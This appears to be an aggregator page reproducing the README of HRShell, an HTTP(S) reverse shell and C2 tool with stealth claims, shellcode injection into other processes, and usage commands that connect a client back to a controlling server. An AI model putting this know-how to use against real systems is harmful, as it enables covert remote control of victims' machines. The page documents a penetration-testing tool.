All Projects → chrispetrou → Hrshell

chrispetrou / Hrshell

Licence: gpl-3.0
HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities.

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to Hrshell

Hack Tools
The all-in-one Red Team extension for Web Pentester 🛠
Stars: ✭ 2,750 (+1324.87%)
Mutual labels:  hacking, pentesting, red-team, metasploit, reverse-shell
Oscp Prep
my oscp prep collection
Stars: ✭ 105 (-45.6%)
Mutual labels:  hacking, pentesting, penetration-testing, oscp
Rspet
RSPET (Reverse Shell and Post Exploitation Tool) is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario.
Stars: ✭ 251 (+30.05%)
Mutual labels:  hacking, pentesting, post-exploitation, reverse-shell
Fdsploit
File Inclusion & Directory Traversal fuzzing, enumeration & exploitation tool.
Stars: ✭ 199 (+3.11%)
Mutual labels:  hacking, pentesting, penetration-testing, oscp
Gitjacker
🔪 Leak git repositories from misconfigured websites
Stars: ✭ 1,249 (+547.15%)
Mutual labels:  hacking, pentesting, penetration-testing, red-team
Cheatsheet God
Penetration Testing Reference Bank - OSCP / PTP & PTX Cheatsheet
Stars: ✭ 3,521 (+1724.35%)
Mutual labels:  hacking, pentesting, penetration-testing, oscp
A Red Teamer Diaries
RedTeam/Pentest notes and experiments tested on several infrastructures related to professional engagements.
Stars: ✭ 382 (+97.93%)
Mutual labels:  hacking, pentesting, penetration-testing, metasploit
Infosec reference
An Information Security Reference That Doesn't Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.
Stars: ✭ 4,162 (+2056.48%)
Mutual labels:  hacking, pentesting, penetration-testing, red-team
Penetration Testing Study Notes
Penetration Testing notes, resources and scripts
Stars: ✭ 461 (+138.86%)
Mutual labels:  hacking, pentesting, penetration-testing, oscp
Oscp Pentest Methodologies
备考 OSCP 的各种干货资料/渗透测试干货资料
Stars: ✭ 166 (-13.99%)
Mutual labels:  pentesting, penetration-testing, post-exploitation, oscp
Linux Smart Enumeration
Linux enumeration tool for pentesting and CTFs with verbosity levels
Stars: ✭ 1,956 (+913.47%)
Mutual labels:  hacking, pentesting, oscp
Scilla
🏴‍☠️ Information Gathering tool 🏴‍☠️ DNS / Subdomains / Ports / Directories enumeration
Stars: ✭ 116 (-39.9%)
Mutual labels:  hacking, pentesting, penetration-testing
Pidrila
Python Interactive Deepweb-oriented Rapid Intelligent Link Analyzer
Stars: ✭ 125 (-35.23%)
Mutual labels:  hacking, pentesting, penetration-testing
Active Directory Exploitation Cheat Sheet
A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.
Stars: ✭ 1,392 (+621.24%)
Mutual labels:  hacking, pentesting, penetration-testing
Thoron
Thoron Framework is a Linux post-exploitation framework that exploits Linux TCP vulnerability to provide a shell-like connection. Thoron Framework has the ability to create simple payloads to provide Linux TCP attack.
Stars: ✭ 87 (-54.92%)
Mutual labels:  pentesting, post-exploitation, reverse-shell
Buffer overflow
Don't let buffer overflows overflow your mind
Stars: ✭ 131 (-32.12%)
Mutual labels:  hacking, penetration-testing, oscp
Awesome Shodan Queries
🔍 A collection of interesting, funny, and depressing search queries to plug into shodan.io 👩‍💻
Stars: ✭ 2,758 (+1329.02%)
Mutual labels:  hacking, pentesting, penetration-testing
Pentesting toolkit
🏴‍☠️ Tools for pentesting, CTFs & wargames. 🏴‍☠️
Stars: ✭ 1,268 (+556.99%)
Mutual labels:  hacking, pentesting, post-exploitation
Learn Web Hacking
Study Notes For Web Hacking / Web安全学习笔记
Stars: ✭ 2,326 (+1105.18%)
Mutual labels:  hacking, pentesting, penetration-testing
Crithit
Takes a single wordlist item and tests it one by one over a large collection of websites before moving onto the next. Create signatures to cross-check vulnerabilities over multiple hosts.
Stars: ✭ 182 (-5.7%)
Mutual labels:  hacking, pentesting, penetration-testing
HRShell: An advanced HTTP(S) Reverse Shell built with Flask

GPLv3 license version Known Vulnerabilities



HRShell is an HTTPS/HTTP reverse shell built with flask and is compatible with python 3.x. The client.py has been successfully tested on:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

while the server.py is compatible with Unix systems (Windows support comming soon...)

Features

  • It's stealthy
  • TLS support 🔑
    • Either using on-the-fly certificates or
    • By specifying a cert/key pair (more details below...)
  • Shellcode injection 💉 (more details below...)
    • Either shellcode injection in a thread/spawned-process of the current running process
      • Platforms supported so far:
        • Windows x86
        • Unix x86
        • Unix x64
    • or shellcode injection into another process (migrate <PID>) by specifying its PID
      • Platforms supported so far:
        • Windows x86
        • Windows x64
  • Shellcode can be set/modified on the fly from the server (more details below...)
  • Proxy support on client.
  • Directory navigation (cd command and variants).
  • Interactive history command available on Unix systems.
  • download/upload/screenshot/hex commands available.
  • Pipelining (|) & chained commands (;) are supported
  • Support for every non-interactive (like gdb, top etc...) command
  • Server is both HTTP & HTTPS capable.
  • It comes with two built-in servers 🌐 so far... flask built-in & tornado-WSGI while it's also compatible with other production servers like gunicorn and Nginx.
  • Both server.py and client.py are easily extensible.
  • Since the most functionality comes from server's endpoint-design it's very easy to write a client in any other language e.g. java, GO etc...

*For version changes check-out CHANGELOG.

Details


Stealthy

HRShell is stealthy since it uses the HTTP(S) protocol as the communication method between client and server. In addition when TLS is in use the traffic is also encrypted. Also if the CERT is not hand coded on client-side (which is a feasible option) and the upload command is not used, then client.py doesn't touches the disk at all.

TLS 🔑

Server-side: Unless --http option is specified, by default server.py is HTTPS using on-the-fly certificates, since on-the-fly certificates are a built-in flask-feature. But if -s tornado option is specified in order to make the server use TLS, a --cert and a --key option must be specified like so:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Either "real" certificates can be used or another way to generate a cert/key pair is e.g. either using mkcert or openssl directly like so:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

A cert/key pair can also be used with the flask-server:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ If the server is using TLS, then by design the client can't use http://... to connect to the server, but must explicitly use https instead.

Client-side: By default client's SSL verification is disabled, unless:

  • either the --cert parameter is specified e.g.:
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • or the CERT variable, instead of the default None value is set beforehand with a valid certificate e.g.:
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    In this case client.py will attempt to create a hidden .cert.pem file on the fly and will use that instead.

⚠️ That the SSL verification is disabled by default on client doesn't mean in any case that the TLS is disabled too, TLS will be enabled if the server uses it - so TLS depends completely on the server. The --cert option on client is there just as an alternative way for the server-client to have an encrypted session and that's all.

Shellcode injection 💉

There are two "modes" of shellcode injection using the two following commands respectively:

  1. migrate <PID>: Using this command we can inject shellcode into the memory space of another process by specifying its PID. For now this command can only be applied at Windows x86/x64 platforms!
  1. inject shellcode: Using this command a new thread (or spawned process on unix systems) of our current process is created and the shellcode injection occurs in its memory space. As a result our HTTP(S) shell is not affected by the injection. The platforms where this command can be applied are: Unix x86/x64, Windows x86 platforms!
Notes
  • In case the injection happens on a process, then process-permissions play a very important role. It's not always possible to inject on any process due to lack of appropriate privileges.

Set/Modify shellcode

There are two ways you can specify/set what type of shellcode you want the client to execute:

  • Either pre-set shellcode variable on client.py script to be a valid shellcode or
  • Use the set shellcode <shellcode-id> command to do that on the fly. With this command you can update your shellcode on client-side from server-side as many times as you like!

The first way is pretty straight forward. However in order to use the second and more convenient way (since you can also modify an already specified shellcode) you have to set shellcodes/utils.py script such that it contains the shellcode(s) of your choise. The script contains an example of how you can do that.

💡 You can modify/update shellcodes/utils.py script even after you've launched server.py as many times as you want, since server.py will dynamically use the most updated/recent version. In this way you can set & modify shellcodes on the go...

Available commands:

Special commands:

Any other command is supported if it's not interactive like e.g. gdb, top etc... Also by typing python server.py -h or python client.py -h you can get information the server and client available arguments.

Note: If a client is connected with the server and we want to terminate the server, before press CTRL+C, we have to close the connection using the exit command.

Creating custom commands

Client-side:

In order to create a custom command, generally:

  • a regex rule that describes the command must be defined on client-side
  • the code to handle that command must be added as an elif statement also on client-side.

Server-side:

If the command demands the existence of a new-endpoint on server-side, then:

  • to define the endpoint:
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        documentation if needed
        """
        ...
        return ...
    
  • then edit handleGET() to redirect the client to that endpoint:
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • do the appropriate edits in handlePOST() to handle the presentation of the results.

Script-Arguments

Both scripts (server.py and client.py) can be customized through arguments:

server.py

$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

📦 Requirements:

To install the server-requirements:

pip install -r requirements.txt --upgrade --user

📌 TODO

  • [ ] Add more commands and features.
  • [ ] Fix potential bugs.

💭 Contributions & Feedback

Feedback and contributions are welcome. If you find any bug or have a feature request feel free to open an issue, and as soon as I review it I'll try to fix it.

Disclaimer

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software in general.

Credits & References

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • A great article found here.
  • Client's hexdump function taken from this great gist.
  • The HRShell logo is made with fontmeme.com!

License

This project is licensed under the GPLv3 License - see the LICENSE file for details.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].